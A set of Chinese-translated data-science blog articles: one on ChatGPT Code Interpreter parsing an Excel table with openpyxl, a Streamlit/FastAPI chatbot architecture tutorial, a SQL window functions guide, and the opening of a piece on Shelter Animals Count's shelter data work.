这生成了一个带有如下标题的表格……
我们看到数据被包括在列标题中,表明它没有识别出列的结束和数据的开始。事实上,它甚至发现了这一点并勇敢地继续……
此时,它陷入了一种有些混乱的状态,尝试了许多在此未显示的循环。
最终,我认为超出了令牌限制,生成停止了,表格看起来是这样的……
在‘显示工作’输出中对比上述值与原始表格,我们看到最后一行“总计”的值看起来是正确的,但有两个“Bomet Central Femail N Bomet”列标题。它发现了这一点……
由于它看起来非常接近,我要求 ChatGPT 继续……
我让它等了一会儿才要求继续,我怀疑这导致了代码环境任务被终止。它似乎很乐意再次开始,但这样做时丢失了一些变量……
我按照提示重新上传了文件,它再次开始处理。最终,这是它生成的表格……
这非常好……对于原始表格中的仅“总计”行。ChatGPT 丢失了所有其他被按面积拆分的数据行,因此解析实际上失败了。
我指出它实际上缺少一个与土地面积相关的列,而它在第一次初始上传后确实立即识别了这一点……
此时,ChatGPT 开始了另一个任务,尝试解析表格的多个方法,但没有一个最终成功。聊天的完整链接可以在这里找到。
我开始了一个全新的聊天会话并再次尝试,这导致了不同的结果,这对该技术的可重复性有影响。但无论我尝试了多少次,结果从未正确。
给 ChatGPT 一些编码建议
在我之前的博客文章中,我能够通过使用从 Excel 中提取的信息来表示哪些单元格已合并,来成功解析像提供的示例那样的表格。这对于理解表格标题的层次结构以及我们人类在查看 Excel 表格时的使用非常关键。如果仅使用 Pandas Excel 解析——这就是 ChatGPT 在我们的测试中所做的——而不是逐个询问 Excel 结构,这些信息会丢失,使成功解析包含合并标题单元格的表格变得更加困难。
那么,如果我们给 ChatGPT 提示直接使用 'openpyxl' 并考虑合并单元格会怎么样呢?
就像上次一样,它从一开始就正确处理了事情……
然后再次进行分析……
然而,这一次,在提供了一些关于技术的指导后……它几乎完美地展平了表格,仅使用上述单一提示而无需进一步干预。
ChatGPT '代码解释器' 处理一个未结构化的 Excel 表格,将其转换成可能被加载到 SQL 数据库中的形式。这个结果是通过提示使用 'openpyxl' Python 库来识别列标题中的合并单元格创建的。
唯一的问题是最后一行,但通过进一步提示我们可以轻松去除。要查看完整的互动和生成的代码,请查看这里。
我要求 ChatGPT 生成完整的代码以查看它最后得出了什么……
from openpyxl import load_workbook
import pandas as pd
# Load the workbook
wb = load_workbook(filename='/mnt/data/Number of Acreage under Irrigation.xlsx')
ws = wb.active
data = ws.values
data = list(data)
# Convert the tuples to lists
data = [list(row) for row in data]
# Function to handle None values in the first two columns
def handle_none(data):
last_valid = [None, None]
for row in data:
for i in range(2):
if row[i] is not None:
last_valid[i] = row[i]
else:
row[i] = last_valid[i]
return data
data_filled = handle_none(data)
# Construct the headers
headers = [None] * len(data_filled[0])
for row in data_filled[2:6]:
for i, value in enumerate(row):
if value is not None:
if headers[i] is None:
headers[i] = value
else:
headers[i] += '_' + value
# Adjust the first two headers
headers[0] = 'Question'
headers[1] = 'Category'
# Adjust '%' headers
for i in range(len(headers)):
if headers[i] == '%':
headers[i] = headers[i-1].rsplit('_', 1)[0] + '_%'
# Adjust 'Female_N' and 'Female_%' headers
headers[6] = 'Sub county_Chepalungu_Female_N'
headers[7] = 'Sub county_Chepalungu_Female_%'
headers[10] = 'Bomet Central_Female_N'
headers[11] = 'Bomet Central_Female_%'
# Create a DataFrame
df = pd.DataFrame(data_filled[6:], columns=headers)
# Save the DataFrame as a CSV file
df.to_csv('/mnt/data/Number_of_Acreage_under_Irrigation_SQL.csv', index=False)
这似乎是合理的。它不是通用的,而是针对正在处理的文件具有特定的行。我怀疑我们可能需要更多的提示来(也许)使 ChatGPT 生成通用代码,但对于本研究中的任务,它能够很好地解析未结构化的表格。
很棒的结果!
鉴于第一次测试中 ChatGPT 使用相同提示得出了不同的结果,我决定重复完全相同的成功提示以查看成功测试中的表现。遗憾的是,它得出了完全不同的且不正确的答案,使用了完全相同的提示。
结果不太理想!
在 API 中,通过降低温度参数可以使模型变得更加确定性,产生可重复的结果,但由于代码解释器在 API 中尚不可用,我无法进行这方面的实验。
结论
在最初失败之后,我们能够通过提供一些关于如何在 Python 中实现这一点的编码提示,促使 ChatGPT 正确解析一个非结构化的表格,这实际上是一个相当惊人的结果。然而,结果并不具备可重复性,因为在第二次尝试时使用完全相同的提示失败了。这很可能是因为我们尚未控制这个测试功能中的模型温度参数。
还注意到另一个有趣的限制,例如当令牌限制被突破时,完成任务之前的结果会中断,需要另一个提示才能继续。此外,随着 ChatGPT 尝试不同的代码块,处理过程相当缓慢。它还不是一种可以应用于需要快速响应的任务的技术。
基本上,代码解释器看起来非常令人印象深刻,并显示出巨大的潜力,但似乎尚未完全准备好完成上述任务。
至少在现在,尽管时间非常短……我在 ChatGPT 上领先了一步。😊
基于 LLM 的聊天机器人应用程序的结构:单体架构与微服务架构模式
实用指南:使用 Streamlit、Huggingface 和 FastAPI 构建单体和微服务聊天机器人应用程序
·发表于Towards Data Science ·9 分钟阅读·2023 年 5 月 8 日
--
图片由作者使用 Midjourney V5.1 生成,提示词为:“等距的高现实感笔记本电脑视图,屏幕上显示一个明亮的、多彩的魔方,内部被照亮,明亮、温暖、愉快的光线。8k,hdr,虚幻引擎”
随着 OpenAI 的 ChatGPT 的出现,聊天机器人正在迅速流行!每个企业都在寻求将 ChatGPT 融入其面向客户和内部的应用程序中。此外,由于开源聊天机器人进展如此迅速,以至于即使谷歌工程师似乎也得出结论认为他们和 OpenAI“没有护城河”, 现在正是进入 AI 行业的最佳时机!
作为构建这种应用程序的数据科学家,关键的决策之一是选择单体架构还是微服务架构。这两种架构各有优缺点;最终的选择取决于业务的需求,例如可扩展性和与现有系统的集成方便性。在这篇博客文章中,我们将使用 Streamlit、Huggingface 和 FastAPI 的实时代码示例来探讨这两种架构之间的区别!
首先,创建一个新的 conda 环境并安装必要的库。
# Create and activate a conda environment
conda create -n hf_llm_chatbot python=3.9
conda activate hf_llm_chatbot
# Install the necessary libraries
pip install streamlit streamlit-chat "fastapi[all]" "transformers[torch]"
单体架构
在单体应用程序中,与应用程序相关的所有代码都紧密耦合在一个独立的单元中。 图片由作者提供
单体架构是一种将整个应用程序构建为一个自包含的单元的方法。这种方法简单且易于开发,但随着应用程序的增长,可能会变得复杂。在单体架构中,包括用户界面、业务逻辑和数据存储在内的所有应用程序组件都是紧密耦合的。对应用程序某一部分所做的任何更改都可能对整个应用程序产生连锁反应。
下面我们使用 Huggingface 和 Streamlit 来构建一个单体聊天机器人应用程序。我们将使用 Streamlit 来构建前端用户界面,而 Huggingface 提供了一种非常易于使用的高层抽象,称为 pipelines,它可以访问各种开源 LLM 模型。
首先,让我们创建一个包含三个在单体和微服务架构的前端中常用的助手函数的文件 utils.py。
-
clear_conversation()
: 此函数删除 Streamlit 前端中所有存储的 session_state 变量。我们用它来清除整个聊天记录并开始一个新的聊天线程。 -
display_conversation()
: 此函数使用 streamlit_chat 库创建一个漂亮的聊天界面前端,将我们的整个聊天线程从最新到最旧的消息显示在屏幕上。由于 Huggingface pipelines API 将 user_inputs 和 generate_responses 存储在不同的列表中,我们还使用此函数创建一个包含整个聊天线程的单一 interleaved_conversation 列表,以便在需要时可以下载它。 -
download_conversation()
: 此函数将整个聊天线程转换为 pandas dataframe 并下载为 csv 文件到您的本地计算机。
# %%writefile utils.py
from datetime import datetime
import pandas as pd
import streamlit as st
from streamlit_chat import message
def clear_conversation():
"""Clear the conversation history."""
if (
st.button("🧹 Clear conversation", use_container_width=True)
or "conversation_history" not in st.session_state
):
st.session_state.conversation_history = {
"past_user_inputs": [],
"generated_responses": [],
}
st.session_state.user_input = ""
st.session_state.interleaved_conversation = []
def display_conversation(conversation_history):
"""Display the conversation history in reverse chronology."""
st.session_state.interleaved_conversation = []
for idx, (human_text, ai_text) in enumerate(
zip(
reversed(conversation_history["past_user_inputs"]),
reversed(conversation_history["generated_responses"]),
)
):
# Display the messages on the frontend
message(ai_text, is_user=False, key=f"ai_{idx}")
message(human_text, is_user=True, key=f"human_{idx}")
# Store the messages in a list for download
st.session_state.interleaved_conversation.append([False, ai_text])
st.session_state.interleaved_conversation.append([True, human_text])
def download_conversation():
"""Download the conversation history as a CSV file."""
conversation_df = pd.DataFrame(
reversed(st.session_state.interleaved_conversation), columns=["is_user", "text"]
)
csv = conversation_df.to_csv(index=False)
st.download_button(
label="💾 Download conversation",
data=csv,
file_name=f"conversation_{datetime.now().strftime('%Y%m%d%H%M%S')}.csv",
mime="text/csv",
use_container_width=True,
)
接下来,让我们创建一个包含整个单体应用程序的 monolith.py 文件。
-
OpenAI 的 ChatGPT API 对问题和回答中的每个令牌都收费。因此,在这个*演示中,我选择使用 Huggingface 的一个开源模型,名为“facebook/blenderbot-400M-distill”。您可以在 Huggingface 模型中心 找到超过 2000 个经过对话任务训练的开源模型的完整列表。有关对话任务 pipeline 的更多细节,请参考 Huggingface 官方文档。当开源模型不可避免地赶上 OpenAI 和 Google 的专有模型时,我相信 Huggingface 将成为研究人员分享这些模型的平台,考虑到他们在过去几年中如何彻底改变了 NLP 领域!
-
main()
: 此函数使用 Streamlit 构建前端应用的布局。我们将有一个按钮来清除对话,另一个按钮来下载。我们还会有一个文本框,用户可以在其中输入问题,按下回车后,我们将调用monolith_llm_response
函数处理用户的输入。最后,我们将使用来自utils
的display_conversation
函数在前端显示整个对话。 -
monolith_llm_response()
: 此函数负责使用 Huggingface 管道处理聊天机器人逻辑。首先,我们创建一个新的Conversation
对象,并将其初始化为到目前为止的整个对话历史。然后,我们将最新的user_input
添加到该对象中,最后,我们将此对话对象传递给我们之前创建的 Huggingface 管道。Huggingface 会自动将用户输入和生成的响应添加到对话历史中!
# %%writefile monolith.py
import streamlit as st
import utils
from transformers import Conversation, pipeline
# https://huggingface.co/docs/transformers/v4.28.1/en/main_classes/pipelines#transformers.Conversation
chatbot = pipeline(
"conversational", model="facebook/blenderbot-400M-distill", max_length=1000
)
@st.cache_data()
def monolith_llm_response(user_input):
"""Run the user input through the LLM and return the response."""
# Step 1: Initialize the conversation history
conversation = Conversation(**st.session_state.conversation_history)
# Step 2: Add the latest user input
conversation.add_user_input(user_input)
# Step 3: Generate a response
_ = chatbot(conversation)
# User input and generated response are automatically added to the conversation history
# print(st.session_state.conversation_history)
def main():
st.title("Monolithic ChatBot App")
col1, col2 = st.columns(2)
with col1:
utils.clear_conversation()
# Get user input
if user_input := st.text_input("Ask your question 👇", key="user_input"):
monolith_llm_response(user_input)
# Display the entire conversation on the frontend
utils.display_conversation(st.session_state.conversation_history)
# Download conversation code runs last to ensure the latest messages are captured
with col2:
utils.download_conversation()
if __name__ == "__main__":
main()
就这些了!我们可以通过运行 streamlit run monolith.py
来运行这个单体应用,并在网页浏览器上与应用进行交互!我们还可以将此应用快速部署到像 Google Cloud Run 这样的云服务中,正如 我之前的博客文章 中所描述的那样,并通过互联网进行交互!
单体 Streamlit 应用界面。图片由作者提供。
微服务架构
在微服务应用中,每个组件被拆分为自己的较*的独立服务。图片由作者提供。
微服务架构是一种将应用程序拆分成更*的独立服务的方法。每个应用程序组件,如用户界面、业务逻辑和数据存储,都是独立开发和部署的。这种方法提供了灵活性和可扩展性,因为我们可以模块化地添加更多功能,并通过添加更多实例来水平扩展每个服务,而不会影响其他服务。
让我们使用 FastAPI 将 Huggingface 模型推理从我们的单体应用中拆分为一个单独的微服务,并将 Streamlit 前端拆分为另一个微服务。由于这个演示中的后端仅有 LLM 模型,我们的后端 API 服务器与上图中的 LLM 模型相同。我们可以直接在前端微服务中重用我们之前创建的 utils.py
文件!
首先,让我们创建一个 backend.py
文件,这将作为我们的 FastAPI 微服务,运行 Huggingface 管道推理。
-
我们首先使用之前选择的相同模型,“facebook/blenderbot-400M-distill”创建管道对象。
-
我们创建了一个
ConversationHistory
Pydantic 模型,以便将管道所需的输入作为负载传递给 FastAPI 服务。如需更多有关 FastAPI 请求主体的信息,请参见 FastAPI 文档。 -
为 APIs 保留根路由用于健康检查是一个好习惯。所以我们首先定义这个路由。
-
最后,我们定义一个名为
/chat
的路由,该路由接受 API 有效负载作为 ConversationHistory 对象,并将其转换为字典。然后我们创建一个新的 Conversation 对象,并用有效负载中接收到的对话历史进行初始化。接着,我们将最新的 user_input 添加到该对象中,并将这个对话对象传递给 Huggingface pipeline。最后,我们必须将最新生成的响应返回给前端。
# %%writefile backend.py
from typing import Optional
from fastapi import FastAPI
from pydantic import BaseModel, Field
from transformers import Conversation, pipeline
app = FastAPI()
# https://huggingface.co/docs/transformers/v4.28.1/en/main_classes/pipelines#transformers.Conversation
chatbot = pipeline(
"conversational", model="facebook/blenderbot-400M-distill", max_length=1000
)
class ConversationHistory(BaseModel):
past_user_inputs: Optional[list[str]] = []
generated_responses: Optional[list[str]] = []
user_input: str = Field(example="Hello, how are you?")
@app.get("/")
async def health_check():
return {"status": "OK!"}
@app.post("/chat")
async def llm_response(history: ConversationHistory) -> str:
# Step 0: Receive the API payload as a dictionary
history = history.dict()
# Step 1: Initialize the conversation history
conversation = Conversation(
past_user_inputs=history["past_user_inputs"],
generated_responses=history["generated_responses"],
)
# Step 2: Add the latest user input
conversation.add_user_input(history["user_input"])
# Step 3: Generate a response
_ = chatbot(conversation)
# Step 4: Return the last generated result to the frontend
return conversation.generated_responses[-1]
我们可以使用 uvicorn backend:app --reload
本地运行这个 FastAPI 应用,也可以将其部署到 Google Cloud Run 等云服务中,如我之前的博客文章中所述,并通过互联网进行交互!你可以通过访问 127.0.0.1:8000/docs
来使用 FastAPI 自动生成的 /docs
路由中的 API 文档测试后端。
后端的 FastAPI 文档。图片由作者提供
最后,让我们创建一个包含前端代码的 frontend.py
文件。
-
main()
:这个函数与单体应用中的main()
函数非常相似,唯一的变化是当用户输入任何内容时,我们调用microservice_llm_response()
函数。 -
microservice_llm_response()
:由于我们将 LLM 逻辑拆分到一个单独的 FastAPI 微服务中,这个函数利用存储在 session_state 中的对话历史记录,向后端 FastAPI 服务发送请求,然后将用户输入和 FastAPI 后端的响应都附加到对话历史中,以便继续记住整个聊天线程。
# %%writefile frontend.py
import requests
import streamlit as st
import utils
# Replace with the URL of your backend
app_url = "http://127.0.0.1:8000/chat"
@st.cache_data()
def microservice_llm_response(user_input):
"""Send the user input to the LLM API and return the response."""
payload = st.session_state.conversation_history
payload["user_input"] = user_input
response = requests.post(app_url, json=payload)
# Manually add the user input and generated response to the conversation history
st.session_state.conversation_history["past_user_inputs"].append(user_input)
st.session_state.conversation_history["generated_responses"].append(response.json())
def main():
st.title("Microservices ChatBot App")
col1, col2 = st.columns(2)
with col1:
utils.clear_conversation()
# Get user input
if user_input := st.text_input("Ask your question 👇", key="user_input"):
microservice_llm_response(user_input)
# Display the entire conversation on the frontend
utils.display_conversation(st.session_state.conversation_history)
# Download conversation code runs last to ensure the latest messages are captured
with col2:
utils.download_conversation()
if __name__ == "__main__":
main()
就这样!我们可以通过运行 streamlit run frontend.py
来启动这个前端应用,并在网页浏览器上与应用进行交互!正如我的上一篇博客文章中所描述的,我们也可以快速部署到云服务如 Google Cloud Run,并通过互联网与之互动!
选择哪个架构?
答案取决于你应用的需求。单体架构可以是数据科学家快速构建初步概念验证并向业务干系人展示的一个很好的起点。但不可避免地,如果你计划将应用投入生产,微服务架构通常比单体架构更好,因为它提供了更多的灵活性和可扩展性,并允许不同的专业开发人员专注于构建各种组件。例如,前端开发人员可能会使用 React 构建前端,数据工程师可能会使用 Airflow 编写数据管道,而 ML 工程师可能会使用 FastAPI 或 BentoML 来部署具有自定义业务逻辑的模型服务 API。
此外,通过微服务,聊天机器人开发人员可以轻松地加入新功能或更改现有功能,而不会影响整个应用程序。这种灵活性和可扩展性对那些希望将聊天机器人集成到现有应用中的企业至关重要。专注的 UI/UX、数据工程师、数据科学家和 ML 工程师可以各自专注于他们的专业领域,以交付一个精致的产品!
结论
总之,单体架构和微服务架构各有优缺点,两者之间的选择取决于业务的具体需求。然而,我更倾向于微服务架构用于聊天机器人应用,因为它的灵活性、可扩展性,以及我可以将前端开发委托给更合格的 UI/UX 专家 🤩。
SQL 窗口函数的结构
原文:
towardsdatascience.com/anatomy-of-sql-window-functions-7256d8cf509a
回到基础 | SQL 初学者基础
·发布于Towards Data Science ·阅读时间 9 分钟·2023 年 3 月 30 日
--
作者提供的图片,创建于canva
为了理解企业数据,你必须进行大量查询。当我说“大量”时,我是认真的。处理陌生的数据集常常让人感到畏惧,花时间探索和理解数据本身总是一个好习惯。掌握基本的数据检索技能是好的,但了解分析函数以从数据中提取有用的见解则是锦上添花,而且也很有趣!
我来自数据可视化背景,对我而言,不仅理解数据至关重要,还需要找出值得注意的发现,以便向更广泛的团队展示。此外,构建复杂的仪表板通常是一个反复的过程,你需要回到数据源核对数据,而 SQL 窗口函数始终伴随我进行数据分析。
尽管窗口函数对于数据分析非常有用,但仍有一些混淆,人们通常害怕使用它们。在编写 SQL 窗口函数的详细指南时,我意识到它变得过于描述性,但我又不想跳过细节,特别是关于语法和使用的子句。了解构建模块是重要的,对吧?所以,我将尝试在这篇文章中分解窗口函数的构建模块,以便处理和实现时不会感到压倒。
一如既往,我们将使用classicmodels MySQL 样本数据库进行演示,该数据库包含汽车零售商的商业数据。下面是供参考的 ER 图,
作者提供的图片
首先,什么是窗口函数?
窗口函数的教科书定义是,
窗口函数在与当前行相关的一组表行上执行计算。
图片来源: Masterfile
你认为这个*家伙从窗户里看到什么?是从这个房间或建筑物的窗户外景的部分视图,对吧?这正是窗口函数的作用。它允许你对数据子集进行计算,而不对当前行进行聚合。
为什么需要?为什么使用窗口函数?聚合函数哪里不足?
这是来自PRODUCTS 表的示例数据,为了演示目的,我将其限制在PRODUCTLINEs - 飞机、船只 和 火车。
--sample data from table PRODUCTS.
SELECT
*
FROM
CLASSICMODELS.PRODUCTS
WHERE PRODUCTLINE IN ('Planes','Ships','Trains');
图片来自作者
现在找出每个PRODUCTLINE 的总库存量,
--total quantity in stock for each productline
SELECT
PRODUCTLINE,
SUM(QUANTITYINSTOCK) AS TOTAL_QUNATITY
FROM
CLASSICMODELS.PRODUCTS
WHERE PRODUCTLINE IN ('Planes','Ships','Trains')
GROUP BY PRODUCTLINE;
图片来自作者
这很简单。SUM(QUANTITYINSTOCK) 将来自多行的数据总结为 3 行,因为我们使用了GROUP BY 子句,它为每个产品线提供了一行。很好!这正是预期的结果。
图片来自作者
现在我们来重新审视需求,
-
显示每个PRODUCTLINE 中每种产品的数量,以及该特定PRODUCTLINE 的总库存量。
-
按PRODUCTLINE 分组排列结果集。
那么这可以通过聚合函数来完成吗?我们确实想要每个PRODUCTLINE 的总库存量,但我们不希望将所有数据汇总。这就是窗口函数的用武之地,
--sum() as a window function
SELECT
PRODUCTNAME,
PRODUCTLINE,
QUANTITYINSTOCK,
SUM(QUANTITYINSTOCK) OVER (PARTITION BY PRODUCTLINE) AS TOTAL_QUANTITY
FROM
CLASSICMODELS.PRODUCTS
WHERE PRODUCTLINE IN ('Planes','Ships','Trains');
图片来自作者
在这里,SUM() 作为窗口函数对一组行进行了计算,但与聚合函数不同的是,它不会将结果集总结为一行。相反,所有的行(PRODUCTNAME, PRODUCTLINE 和 QUANTITYINSTOCK)保持其原始形式/身份,并且计算的行(TOTAL_QUANTITY)在每行的结果集中添加。
图片来自作者
窗口函数的类型
说实话,窗口函数没有官方分类,但根据使用情况,我们可以大致分为 3 种方式,
图片来自作者
-
聚合函数 - 常规的聚合函数可以用作窗口函数,以计算窗口分区内的数值列的聚合,如运行总销售额、分区内的最*值或最大值等。
-
排名函数 - 这些函数为分区中的每一行返回一个排名值。
-
值函数 - 这些函数对于生成简单的统计数据或时间序列分析非常有用。
窗口函数的语法
窗口函数的常见语法是,
图片来自作者
在深入之前,我们首先要理解其中每个子句的重要性,
OVER() 子句
OVER() 子句指定了一个窗口函数,因此它必须始终包含在语句中。它定义了一个用户指定的行子集(窗口),窗口函数将在其上应用。如果你在 OVER() 内不提供任何内容,窗口函数将应用于整个结果集。
继续上面的示例,
--empty OVER() clause
SELECT
PRODUCTNAME,
PRODUCTLINE,
QUANTITYINSTOCK,
SUM(QUANTITYINSTOCK) OVER () AS TOTAL_QUANTITY
FROM
CLASSICMODELS.PRODUCTS
WHERE PRODUCTLINE IN ('Planes','Ships','Trains');
图片来源于作者
在这里,由于我们提供了一个空的 OVER() 子句,窗口函数 SUM(QUANTITYINSTOCK) 被应用于 PRODUCTLINE- 飞机、船只 和 火车 的所有记录,结果是 TOTAL_QUANTITY 为 105816。
PARTITION BY 子句
PARTITION BY 与 OVER 子句一起使用。它根据用户指定的表达式将查询结果集分成分区或桶,然后窗口函数应用于每个分区或桶。
这是可选的,如果你不指定 PARTITION BY 子句,那么函数将所有行视为一个单一的分区。正如我们在上面的示例中所做的那样,我们仅指定了一个空的 OVER() 子句而没有 PARTITION BY 子句,因此总量是针对所有 PRODUCTLINE 计算的。
如果我们指定了一个会发生什么,
--OVER() with PARTITION BY
SELECT
PRODUCTNAME,
PRODUCTLINE,
QUANTITYINSTOCK,
SUM(QUANTITYINSTOCK) OVER (PARTITION BY PRODUCTLINE) AS TOTAL_QUANTITY
FROM
CLASSICMODELS.PRODUCTS
WHERE PRODUCTLINE IN ('Planes','Ships','Trains');
图片来源于作者
由于我们要求 OVER() 子句基于 PRODUCTLINE 对 TOTAL_QUANTITY 结果集进行分区,现在 SUM(QUANTITYINSTOCK) 将计算每个分区的库存数量。
那么,PARTITION BY 和 GROUP BY 子句有什么关系?它们是相似的还是不同的?
GROUP BY 子句,
-
它将多行根据一个或多个列/表达式分组为汇总行(每组返回 1 行)。简单来说,它减少了结果集中的行数。
-
它与 SUM()、AVG()、MAX() 等聚合函数一起使用。
-
它位于 WHERE 子句之后,但在 HAVING, ORDER BY 子句之前。常见语法是,
图片来源于作者
PARTITION BY 子句,
-
它与窗口函数中的 OVER() 子句一起使用。它将查询结果集划分为分区,然后窗口函数应用于每个分区。
-
PARTITION BY 类似于 GROUP BY,因为它基于表达式对结果进行聚合;然而,主要区别在于,它不会减少结果集的行数。
-
这是可选的,如果你不指定 PARTITION BY 子句,那么函数将所有行视为一个单一的分区。
-
常见语法是,
图片来源于作者
如果我们需要找出每个 PRODUCTLINE 的 MSRP 的最*值和最大值,那么对于 GROUP BY 和 PARTITION BY 子句,结果集会有什么不同,
图片来源于作者
ORDER BY 子句
它用于在结果集的每个分区内按升序或降序排序结果集。默认情况下,它是升序的。
ROWS/RANGE 子句
现在我们已经知道窗口函数的关键特性是使用PARTITION BY子句创建结果集的窗口或分区,然后在每个分区上执行计算。如果我们进一步想在这些分区内创建子集呢?哇!分区内的分区?是的,这就是我们需要FRAME子句的原因。
FRAME子句进一步定义了当前分区的一个子集。它使用ROW或RANGE来定义这个子集的起点和终点。它需要ORDER BY子句。
框架是相对于当前行来确定的,这意味着你将当前行的位置作为基准点,并以此为参考定义你在分区内的框架。
-
ROWS — 通过指定当前行之前或之后的行数来定义框架的开始和结束。
-
RANGE — 与ROWS相对,RANGE指定与当前行值相比的值范围,以在分区内定义框架。
通用语法是,
{ROWS | RANGE} BETWEEN <frame_starting> AND <frame_ending>
作者提供的图片
在进一步讨论之前,让我们先了解一些定义窗口的基本术语。
图片来源:mysqltutorials
-
UNBOUNDED PRECEDING - 这指定了分区中当前行之前的所有行(从第一行开始)。
-
N PRECEDING - 这指定了分区中当前行之前的‘N’行数。
-
UNBOUNDED FOLLOWING - 这指定了分区中当前行之后的所有行(一直到最后一行)。
-
M FOLLOWING - 这指定了分区中当前行下方的‘M’行数。
让我们通过一个例子快速理解一下,
SELECT
PRODUCTNAME,
PRODUCTLINE,
QUANTITYINSTOCK,
SUM(QUANTITYINSTOCK) OVER (PARTITION BY PRODUCTLINE ROWS BETWEEN 1 PRECEDING AND CURRENT ROW) AS TOTAL
FROM
CLASSICMODELS.PRODUCTS
WHERE PRODUCTLINE IN ('Planes','Ships','Trains');
作者提供的图片
ROWS BETWEEN 1 PRECEDING AND CURRENT ROW 表示在分区内需要计算SUM(QUANTITYINSTOCK)的框架大*。
作者提供的图片
这里有一些FRAME子句的示例,
-
ROWS BETWEEN UNBOUNDED PRECEDING AND UNBOUNDED FOLLOWING — 这意味着考虑从分区的第一行到分区的最后一行的框架。
-
ROWS BETWEEN UNBOUNDED PRECEDING AND 4 FOLLOWING - 这意味着考虑从分区的第一行到当前行之后的 4 行的框架。
-
ROWS BETWEEN 4 PRECEDING AND 1 PRECEDING - 窗口将是当前行之前的 4 行到当前行之前的 1 行。
默认框架根据是否存在ORDER BY子句而有所不同;如果存在,默认框架是,
{ROWS/RANGE} BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW
这意味着将窗口范围视为从第一行到当前行的所有行。
如果没有ORDER BY子句,则默认的窗口范围为,
{ROWS/RANGE} BETWEEN UNBOUNDED PRECEDING AND UNBOUNDED FOLLOWING
这意味着整个分区。
定义窗口别名,
如果查询中有多个窗口函数使用相同的窗口,则可能需要使用窗口别名。
--finding out minimum and maximum MSRP for each productline
SELECT
PRODUCTNAME,
PRODUCTLINE,
MSRP,
MIN(MSRP) OVER(PARTITION BY PRODUCTLINE) AS MIN_MSRP,
MAX(MSRP) OVER(PARTITION BY PRODUCTLINE) AS MAX_MSRP
FROM
CLASSICMODELS.PRODUCTS
WHERE PRODUCTLINE IN ('Planes','Ships','Trains');
使用窗口别名编写相同查询的另一种方式是,
--using window alias
SELECT
PRODUCTNAME,
PRODUCTLINE,
MSRP,
MIN(MSRP) OVER MSRP_WINDOW AS MIN_MSRP,
MAX(MSRP) OVER MSRP_WINDOW AS MAX_MSRP
FROM
CLASSICMODELS.PRODUCTS
WHERE PRODUCTLINE IN ('Planes','Ships','Trains')
WINDOW MSRP_WINDOW AS (PARTITION BY PRODUCTLINE);
📌 附注
在查询执行过程中,窗口函数会在结果集中执行,
-
在 JOIN、WHERE、GROUP BY 和 HAVING 子句之后,
-
在 ORDER BY 子句、LIMIT 和 SELECT DISTINCT 之前。
结论
你可能希望从 100 种不同的方式中探索数据,而窗口函数正适合这种分析。本文只是了解基本语法和子句的入门,以便窗口函数不会显得过于复杂,通过练习,肯定会更好。
这是最常用窗口函数的详细指南,
回归基础 | 初学者的 SQL 基础
一些其他有用的资源,
-
HackerRank 或 LeetCode 来练习基础/中级/高级 SQL 问题。
学习愉快!
动物收容所分析实践:Shelter Animals Count 的影响
探索 SAC 作为数据驱动型社会企业的先锋角色
·发表于 Towards Data Science ·8 分钟阅读·2023 年 12 月 27 日
--
作者使用 DALL-E 生成的图像
在社会企业中,数据不仅仅是电子表格上的数字。每个数据点都代表了一个生命、一个故事或一个积极改变的机会。数据驱动型社会企业最重要的例子之一是动物福利组织。每个收容所都尝试收集动物、志愿者以及日常运营的数据。
*型社会企业中固有的数据挑战使得明智地利用这些数据成为收容所的一项困难任务。这些挑战包括数据整合、标准化和民主化消费方面的问题。这些挑战的原因通常是——缺乏专门的数据资源和缺乏数据驱动的文化。
然而,在动物福利领域,有一些组织正在有意识地推动进展。其中一个正在重新定义美国动物收容所数据管理的组织是 Shelter Animals Count(SAC)。对于在*型组织中从事数据工作的人来说,你会发现 SAC 面临的挑战与你们自己的挑战相似。在这篇文章中,我将重点介绍 SAC 如何通过行动推动数据的应用。
从根本上讲,SAC 的数据团队认识到拥有简化的数据收集流程的重要性,建立使技术尽可能简单且对非技术性收容所员工自动化的技术,以及提供使用分析的自助服务能力以在美国动物福利系统内民主化数据文化。这些也是其他*型组织(无论是盈利还是非盈利)有效的策略。
致谢
这篇文章的完成离不开 SAC 团队的善意,他们同意回答我的问题,特别是 Samantha Hill(SAC 数据与技术总监)。Samantha 领导了 SAC 在国家层面收集、标准化和提供收容所数据的愿景。
她的话是,
Shelter Animals Count 执行专门的数据策展任务,使汇总的动物收容所数据对全国公众开放。
Shelter Animals Count 的“原因”
在美国,有许多动物福利组织,这些组织往往彼此独立运作。这些收容所通常使用不同的系统来跟踪动物,针对不常见的收容所指标有不同的定义,并采取不同的方法来保护和康复进入福利系统的动物。
Shelter Animals Count 正在领导数据整合和为收容所及其他关键决策者提供高质量自助分析能力的工作。他们建立了一个专注于动物福利数据收集的美国全国综合数据库。他们的使命是通过提供可靠和可获取的信息,来推动以数据为驱动的方法来拯救动物生命。
在国家层面收集收容所数据的好处
对于那些有实际数据工作经验的读者,我明确“数据标准化的好处”并不重要。然而,在动物收容所的背景下,这一点变得重要。
首先,需要理解社会企业背景下的关键参与者。
-
固定收容所员工 — 最接近数据收集程序;将主要受益于一个高效的数据收集系统,能够基于这些数据做出决策并进行可视化。
-
培训人员和志愿者 — 会从工作人员提供的洞察和关于数据收集与使用的标准化操作程序中受益。
-
顾问委员会 — 通过查看可视化数据,能够快速评估组织影响的深度,将从中受益。
-
公众和媒体 — 将从准确的统计数据中受益,以帮助提高社区的意识
鉴于存在如此多样化的利益相关者和动机,拥有一个单一真实来源系统将有助于确保组织内的一致性。这是 SAC 通过其*护良好的全国动物收容所数据数据库的愿景所要解决的。
标准化带来更好的数据质量
对于一个动物收容所来说,质量是准确性、易访问性、清洁度、文档和定义清晰度的综合体现。
从更基本的角度来看,拥有优质数据意味着拥有足够的数据来理解这些问题
-
是否有一些收容所需要更多来自政府或大型组织的支持,以拯救更多生命?
-
是否有动物难以找到永久的家,并不断被送回收容所系统?
-
是否有足够的社区驱动服务来改善那些未在收容所结构保护下的动物的生活?
标准化带来更好的媒体参考
更准确的数据有助于主流媒体绘制更好的画面。这将反过来促进更好的社区参与和公众意识的深入提升。
标准化带来更好的基于需求的收容所机会
优质的数据,经过全国范围的标准化,有助于国家筹款者识别动物福利领域的关键增长区域和关注点。这反过来有助于确保根据需求为收容所提供资金和支持,从而为有效的利他主义铺平道路。
在此我要指出,虽然 SAC 非常重视数据的收集,但他们并不提倡利用数据来指责收容所。从他们的愿景中可以明显看出,他们希望与收容所合作,而不是对抗他们。
SAC 数据架构的高层次概述
